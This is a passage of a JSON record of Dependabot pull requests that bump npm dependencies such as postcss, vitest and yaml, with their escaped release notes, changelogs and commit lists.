releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.31\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix better source map on \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/code\u003e escaping (by \u003ca href=\"https://github.com/firefoxic\"\u003e\u003ccode\u003e@​firefoxic\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.30\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix broken map on \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/code\u003e escaping (by \u003ca href=\"https://github.com/Rufflet\"\u003e\u003ccode\u003e@​Rufflet\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.31\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix better source map on \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/code\u003e escaping (by \u003ca href=\"https://github.com/firefoxic\"\u003e\u003ccode\u003e@​firefoxic\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.30\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix broken map on \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/code\u003e escaping (by \u003ca href=\"https://github.com/Rufflet\"\u003e\u003ccode\u003e@​Rufflet\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/d1908579d6af4155ee5f759030184fb4c2b575ec\"\u003e\u003ccode\u003ed190857\u003c/code\u003e\u003c/a\u003e Release 8.5.31 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/4ef6d8cc0307df09c21a63b5521285657966ece3\"\u003e\u003ccode\u003e4ef6d8c\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/6abd674231f7867d1c37e6b71bc8d6e00165fd27\"\u003e\u003ccode\u003e6abd674\u003c/code\u003e\u003c/a\u003e Call the builder with every node when the output is escaped (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2175\"\u003e#2175\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/f1aca7ec68ab0cfb96cc9e69520a87f641c5a9e4\"\u003e\u003ccode\u003ef1aca7e\u003c/code\u003e\u003c/a\u003e Release 8.5.30 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/9d8344589299ca90f4ec0a4fab899e357995eaad\"\u003e\u003ccode\u003e9d83445\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/6c9bc73d9d2ad2c9c8e998ace707ebe067bc8425\"\u003e\u003ccode\u003e6c9bc73\u003c/code\u003e\u003c/a\u003e Fix invalid source map mapping on escaping before new line (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2169\"\u003e#2169\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/1fd8f881875330b284d65961c2c158f61d4e3bab\"\u003e\u003ccode\u003e1fd8f88\u003c/code\u003e\u003c/a\u003e Add missed changes in changelog\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/postcss/postcss/compare/8.5.29...8.5.31\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 5.0.3 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev5.0.4\u003c/h2\u003e\n\u003ch3\u003e   🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eexperimental\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eTag cache directories with CACHEDIR.TAG  -  by \u003ca href=\"https://github.com/lifeiscontent\"\u003e\u003ccode\u003e@​lifeiscontent\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11461\"\u003evitest-dev/vitest#11461\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a8ea3c8fd\"\u003e\u003c!-- raw HTML omitted --\u003e(a8ea3)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSupport \u003ccode\u003etest.ui.theme\u003c/code\u003e option  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11499\"\u003evitest-dev/vitest#11499\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/1da66405d\"\u003e\u003c!-- raw HTML omitted --\u003e(1da66)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHighlight selector multiple matches in trace view  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11489\"\u003evitest-dev/vitest#11489\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5abba1e1b\"\u003e\u003c!-- raw HTML omitted --\u003e(5abba)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePrint how many tests were affected and a total when running \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11424\"\u003evitest-dev/vitest#11424\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a23368585\"\u003e\u003c!-- raw HTML omitted --\u003e(a2336)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd an option to cache dependencies instead of statically parsing them  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11515\"\u003evitest-dev/vitest#11515\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/c06012ac8\"\u003e\u003c!-- raw HTML omitted --\u003e(c0601)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd fit and zoom controls to trace viewer  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11490\"\u003evitest-dev/vitest#11490\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f5dd99ed0\"\u003e\u003c!-- raw HTML omitted --\u003e(f5dd9)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFail the run on git and location filter errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11430\"\u003evitest-dev/vitest#11430\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/30d0304d2\"\u003e\u003c!-- raw HTML omitted --\u003e(30d03)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEnable fsModuleCache by default  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11435\"\u003evitest-dev/vitest#11435\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ad208cc29\"\u003e\u003c!-- raw HTML omitted --\u003e(ad208)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTrack project files and mocks with --changed  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11432\"\u003evitest-dev/vitest#11432\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b0f2b3bb9\"\u003e\u003c!-- raw HTML omitted --\u003e(b0f2b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRefactor caching, fix \u003ccode\u003e:\u003c/code\u003e in project and change the shape of \u003ccode\u003eresults\u003c/code\u003e cache  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11453\"\u003evitest-dev/vitest#11453\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9673c49a4\"\u003e\u003c!-- raw HTML omitted --\u003e(9673c)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep full \u003ccode\u003e$\u003c/code\u003e string values when \u003ccode\u003etaskTitleValueFormatTruncate\u003c/code\u003e is 0  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11485\"\u003evitest-dev/vitest#11485\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4f7e1799b\"\u003e\u003c!-- raw HTML omitted --\u003e(4f7e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve node builtins in client environments  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11417\"\u003evitest-dev/vitest#11417\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/56b319ac6\"\u003e\u003c!-- raw HTML omitted --\u003e(56b31)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix module graph builtin externals after \u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11421\"\u003e#11421\u003c/a\u003e  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11491\"\u003evitest-dev/vitest#11491\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11421\"\u003evitest-dev/vitest#11421\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/008e184cb\"\u003e\u003c!-- raw HTML omitted --\u003e(008e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWrap module mocks during in-source testing  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11505\"\u003evitest-dev/vitest#11505\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/36d19cb00\"\u003e\u003c!-- raw HTML omitted --\u003e(36d19)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle line endings in snapshot  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11522\"\u003evitest-dev/vitest#11522\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4c468aa40\"\u003e\u003c!-- raw HTML omitted --\u003e(4c468)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRespect root in projects  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11521\"\u003evitest-dev/vitest#11521\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/26642f793\"\u003e\u003c!-- raw HTML omitted --\u003e(26642)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve mocks in directories with spaces  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11539\"\u003evitest-dev/vitest#11539\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/caaef9416\"\u003e\u003c!-- raw HTML omitted --\u003e(caaef)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eapi\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePublish the api token atomically  -  by \u003ca href=\"https://github.com/umairnawaz333\"\u003e\u003ccode\u003e@​umairnawaz333\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11323\"\u003evitest-dev/vitest#11323\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6f990fef1\"\u003e\u003c!-- raw HTML omitted --\u003e(6f990)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6ed371e43f80ff327f5063693bd6b1ad\"\u003e\u003ccode\u003e6621a72\u003c/code\u003e\u003c/a\u003e fix: abort all running tests on cancel (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11606\"\u003e#11606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0c8d6867de06a3df43ea28a05eeec444\"\u003e\u003ccode\u003ee9c3d72\u003c/code\u003e\u003c/a\u003e fix: release mocks of finished test files (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11607\"\u003e#11607\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c2625943d824e257b87ae57a14094e90eed\"\u003e...\n\n_Description has been truncated_","html_url":"https://github.com/Reefk/SniperJournal/pull/4","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Reefk%2FSniperJournal/issues/4","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/4/packages"}},{"old_version":"4.1.11","new_version":"4.1.12","update_type":"patch","path":null,"pr_created_at":"2026-10-24T11:28:30.000Z","version_change":"4.1.11 → 4.1.12","issue":{"uuid":"6012439380","node_id":"PR_kwDOT3vguM8AAAABKbmMng","number":19,"state":"open","title":"chore(deps): bump the npm-minor-patch group with 5 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-24T11:28:30.000Z","updated_at":"2026-10-24T11:45:04.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"npm-minor-patch","update_count":5,"packages":[{"name":"yaml","old_version":"2.9.0","new_version":"2.9.1","repository_url":"https://github.com/eemeli/yaml"},{"name":"@types/node","old_version":"22.20.1","new_version":"22.20.5","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"@vitest/coverage-v8","old_version":"4.1.10","new_version":"4.1.12","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"tsdown","old_version":"0.22.14","new_version":"0.23.1","repository_url":"https://github.com/rolldown/tsdown"},{"name":"vitest","old_version":"4.1.11","new_version":"4.1.12","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm-minor-patch group with 5 updates:\n\n| Package | From | To |\n| --- | --- | --- |\n| [yaml](https://github.com/eemeli/yaml) | `2.9.0` | `2.9.1` |\n| [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node) | `22.20.1` | `22.20.5` |\n| [@vitest/coverage-v8](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8) | `4.1.10` | `4.1.12` |\n| [tsdown](https://github.com/rolldown/tsdown) | `0.22.14` | `0.23.1` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `4.1.11` | `4.1.12` |\n\nUpdates `yaml` from 2.9.0 to 2.9.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eemeli/yaml/releases\"\u003eyaml's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.9.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eLimit recursive merge aliases (\u003ca href=\"https://redirect.github.com/eemeli/yaml/issues/685\"\u003e#685\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/eemeli/yaml/issues/713\"\u003e#713\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSimplify line unfolding during quoted string parsing (\u003ca 